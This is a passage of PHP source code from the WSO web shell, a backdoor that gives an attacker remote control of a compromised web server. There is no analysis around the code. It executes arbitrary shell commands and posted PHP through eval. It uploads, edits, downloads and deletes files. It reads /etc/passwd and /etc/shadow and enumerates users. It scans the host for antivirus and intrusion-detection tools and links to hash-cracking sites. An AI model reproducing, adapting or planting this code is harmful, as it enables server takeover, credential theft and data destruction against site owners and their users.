(int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; echo " </div> <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> <tr> <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> <td><form method='post' ENCTYPE='multipart/form-data'> <input type=hidden name=a value='FilesMAn'> <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> <input type=hidden name=p1 value='uploadFile'> <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> </tr></table></div></body></html>"; } if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } function wsoEx($in) { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function wsoViewSize($s) { if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; } function wsoPerms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; } function wsoPermsColor($f) { if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; } function wsoScandir($dir) { if(function_exists("scandir")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function wsoWhich($p) { $path = wsoEx('which ' . $p); if(!empty($path)) return $path; return false; } function actionSecInfo() { wsoHeader(); echo '<h1>Server security information</h1><div class=content>'; function wsoSecParam($n, $v) { $v = trim($v); if($v) { echo '<span>' . $n . ': </span>'; if(strpos($v, "\n") === false) echo $v . '<br>'; else echo '<pre class=ml1>' . $v . '</pre>'; } } wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); if(function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); wsoSecParam('Open base dir', @ini_get('open_basedir')); wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "MSSQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; wsoSecParam('Supported databases', implode(', ', $temp)); echo '<br>'; if($GLOBALS['os'] == 'nix') { wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no'); wsoSecParam('OS version', @file_get_contents('/proc/version')); wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo '<br>'; $temp=array(); foreach ($userful as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Downloaders', implode(', ',$temp)); echo '<br/>'; wsoSecParam('HDD space', wsoEx('df -h')); wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { $temp = ""; for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { $uid = @posix_getpwuid($_POST['p2']); if ($uid) $temp .= join(':',$uid)."\n"; } echo '<br/>'; wsoSecParam('Users', $temp); } } } else { wsoSecParam('OS Version',wsoEx('ver')); wsoSecParam('Account Settings',wsoEx('net accounts')); wsoSecParam('User Accounts',wsoEx('net user')); } echo '</div>'; wsoFooter(); } function actionPhp() { if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); ob_start(); eval($_POST['p1']); $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; echo strlen($temp), "\n", $temp; exit; } if(empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); wsoHeader(); if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace(array ( '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU', ), array ( '', '.e, .v, .h, .h th {$1}', '' ), $tmp); echo str_replace('<h1','<h2', $tmp) .'</div><br>'; } echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; if(!empty($_POST['p1'])) { ob_start(); eval($_POST['p1']); echo htmlspecialchars(ob_get_clean()); } echo '</pre></div>'; wsoFooter(); } function actionFilesMan() { if (!empty ($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']); if(!empty($_POST['p1'])) { switch($_POST['p1']) { case 'uploadFile': if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!"; break; case 'mkdir': if(!@mkdir($_POST['p2'])) echo "Can't create new dir"; break; case 'delete': function deleteDir($path) { $path = (substr($path,-1)=='/') ? $path:$path.'/'; $dh = opendir($path); while ( ($item = readdir($dh) ) !== false) { $item = $path.$item; if ( (basename($item) == "..") || (basename($item) == ".") ) continue; $type = filetype($item); if ($type == "dir") deleteDir($item); else @unlink($item); } closedir($dh); @rmdir($path); } if(is_array(@$_POST['f'])) foreach($_POST['f'] as $f) { if($f == '..') continue; $f = urldecode($f); if(is_dir($f)) deleteDir($f); else @unlink($f); } break; case 'paste': if($_COOKIE['act'] == 'copy') { function copy_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); } elseif(is_file($c.$s)) @copy($c.$s, $d.$s); } foreach($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); } elseif($_COOKIE['act'] == 'move') { function move_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); } elseif(@is_file($c.$s)) @copy($c.$s, $d.$s); } foreach($_COOKIE['f'] as $f) @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); } elseif($_COOKIE['act'] == 'zip') { if(class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($_POST['p2'], 1)) { chdir($_COOKIE['c']); foreach($_COOKIE['f'] as $f) { if($f == '..') continue; if(@is_file($_COOKIE['c'].$f)) $zip->addFile($_COOKIE['c'].$f, $f); elseif(@is_dir($_COOKIE['c'].$f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); foreach ($iterator as $key=>$value) { $zip->addFile(realpath($key), $key); } } } chdir($GLOBALS['cwd']); $zip->close(); } } } elseif($_COOKIE['act'] == 'unzip') { if(class_exists('ZipArchive')) { $zip = new ZipArchive(); foreach($_COOKIE['f'] as $f) { if($zip->open($_COOKIE['c'].$f)) { $zip->extractTo($GLOBALS['cwd']); $zip->close(); } } } } elseif($_COOKIE['act'] == 'tar') { chdir($_COOKIE['c']); $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); chdir($GLOBALS['cwd']); } unset($_COOKIE['f']); setcookie('f', '', time() - 3600); break; default: if(!empty($_POST['p1'])) { WSOsetcookie('act', $_POST['p1']); WSOsetcookie('f', serialize(@$_POST['f'])); WSOsetcookie('c', @$_POST['c']); } break; } } wsoHeader(); echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } global $sort; $sort = array('name', 1); if(!empty($_POST['p1'])) { if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]); } echo "<script> function sa() { for(i=0;i<d.files.elements.length;i++) if(d.files.elements[i].type == 'checkbox') d.files.elements[i].checked = d.files.elements[0].checked; } </script> <table width='100%' class='main' cellspacing='0' cellpadding='2'> <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; $dirs = $files = array(); $n = count($dirContent); for($i=0;$i<$n;$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'].$dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) ); if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file')); elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir')); } $GLOBALS['sort'] = $sort; function wsoCmp($a, $b) { if($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); else return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); } usort($files, "wsoCmp"); usort($dirs, "wsoCmp"); $files = array_merge($dirs, $files); $l = 0; foreach($files as $f) { echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; $l = $l?0:1; } echo "<tr><td colspan=7> <input type=hidden name=a value='FilesMan'> <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; if(class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; echo "<option value='tar'>Compress (tar.gz)</option>"; if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>"; echo "</select>&nbsp;"; if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;"; echo "<input type='submit' value='>>'></td></tr></form></table></div>"; wsoFooter(); } function actionStringTools() { if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} $stringTools = array( 'Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', ); if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); if(in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']); $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; echo strlen($temp), "\n", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); wsoHeader(); echo '<h1>String conversions</h1><div class=content>'; echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; foreach($stringTools as $k => $v) echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; if(!empty($_POST['p1'])) { if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); } echo"</pre></div><br><h1>Search files:</h1><div class=content> <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> <tr><td></td><td><input type='submit' value='>>'></td></tr> </table></form>"; function wsoRecursiveGlob($path) { if(substr($path, -1) != '/') $path.='/'; $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); if(is_array($paths)&&@count($paths)) { foreach($paths as $item) { if(@is_dir($item)){ if($path!=$item) wsoRecursiveGlob($item); } else { if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>"; } } } } if(@$_POST['p3']) wsoRecursiveGlob($_POST['c']); echo "</div><br><h1>Search for hash:</h1><div class=content> <form method='post' target='_blank' name='hf'> <input type='text' name='hash' style='width:200px;'><br> <input type='hidden' name='act' value='find'/> <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br> <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br> </form></div>"; wsoFooter(); } function actionFilesTools() { if( isset($_POST['p1']) ) $_POST['p1'] = urldecode($_POST['p1']); if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST['p1']); header("Content-Type: " . $type); } else header("Content-Type: application/octet-stream"); $fp = @fopen($_POST['p1'], "r"); if($fp) { while(!@feof($fp)) echo @fread($fp, 1024); fclose($fp); } }exit; } if( @$_POST['p2'] == 'mkfile' ) { if(!file_exists($_POST['p1'])) { $fp = @fopen($_POST['p1'], 'w'); if($fp) { $_POST['p2'] = "edit"; fclose($fp); } } } wsoHeader(); echo '<h1>File tools</h1><div class=content>'; if( !file_exists(@$_POST['p1']) ) { echo 'File not exists'; wsoFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST['p1'])); if(!$uid) { $uid['name'] = @fileowner($_POST['p1']); $gid['name'] = @filegroup($_POST['p1']); } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; if( empty($_POST['p2']) ) $_POST['p2'] = 'view'; if( is_file($_POST['p1']) ) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); else $m = array('Chmod', 'Rename', 'Touch'); foreach($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; echo '<br><br>'; switch($_POST['p2']) { case 'view': echo '<pre class=ml1>'; $fp = @fopen($_POST['p1'], 'r'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo '</pre>'; break; case 'highlight': if( @is_readable($_POST['p1']) ) { echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; $code = @highlight_file($_POST['p1'],true); echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; } break; case 'chmod': if( !empty($_POST['p3']) ) { $perms = 0; for($i=strlen($_POST['p3'])-1;$i>=0;--$i) $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); if(!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; } clearstatcache(); echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; break; case 'edit': if( !is_writable($_POST['p1'])) { echo 'File isn\'t writeable'; break; } if( !empty($_POST['p3']) ) { $time = @filemtime($_POST['p1']); $_POST['p3'] = substr($_POST['p3'],1); $fp = @fopen($_POST['p1'],"w"); if($fp) { @fwrite($fp,$_POST['p3']); @fclose($fp); echo 'Saved!<br><script>p3_="";</script>'; @touch($_POST['p1'],$time,$time); } } echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; $fp = @fopen($_POST['p1'], 'r'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo '</textarea><input type=submit value=">>"></form>'; break; case 'hexdump': $c = @file_get_contents($_POST['p1']); $n = 0; $h = array('00000000<br>','',''); $len = strlen($c); for ($i=0; $i<$len; ++$i) { $h[1] .= sprintf('%02X',ord($c[$i])).' '; switch ( ord($c[$i]) ) { case 0: $h[2] .= ' '; break; case 9: $h[2] .= ' '; break; case 10: $h[2] .= ' '; break; case 13: $h[2] .= ' '; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} $h[1] .= '<br>'; $h[2] .= "\n"; } } echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; break; case 'rename': if( !empty($_POST['p3']) ) { if(!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>'; else die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); } echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; break; case 'touch': if( !empty($_POST['p3']) ) { $time = strtotime($_POST['p3']); if($time) { if(!touch($_POST['p1'],$time,$time)) echo 'Fail!'; else echo 'Touched!'; } else echo 'Bad time format!'; } clearstatcache(); echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; break; } echo '</div>'; wsoFooter(); } function actionConsole() { if(!empty($_POST['p1']) && !empty($_POST['p2'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); $_POST['p1'] .= ' 2>&1'; } elseif(!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); echo "d.cf.cmd.value='';\n"; $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0")); if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd(); echo "c_='".$GLOBALS['cwd']."';"; } } echo "d.cf.output.value+='".$temp."';"; echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), "\n", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); wsoHeader(); echo "<script> if(window.Event) window.captureEvents(Event.KEYDOWN); var cmds = new Array(''); var cur = 0; function kp(e) { var n = (window.Event) ? e.which : e.keyCode; if(n == 38) { cur--; if(cur>=0) document.cf.cmd.value = cmds[cur]; else cur++; } else if(n == 40) { cur++; if(cur < cmds.length) document.cf.cmd.value = 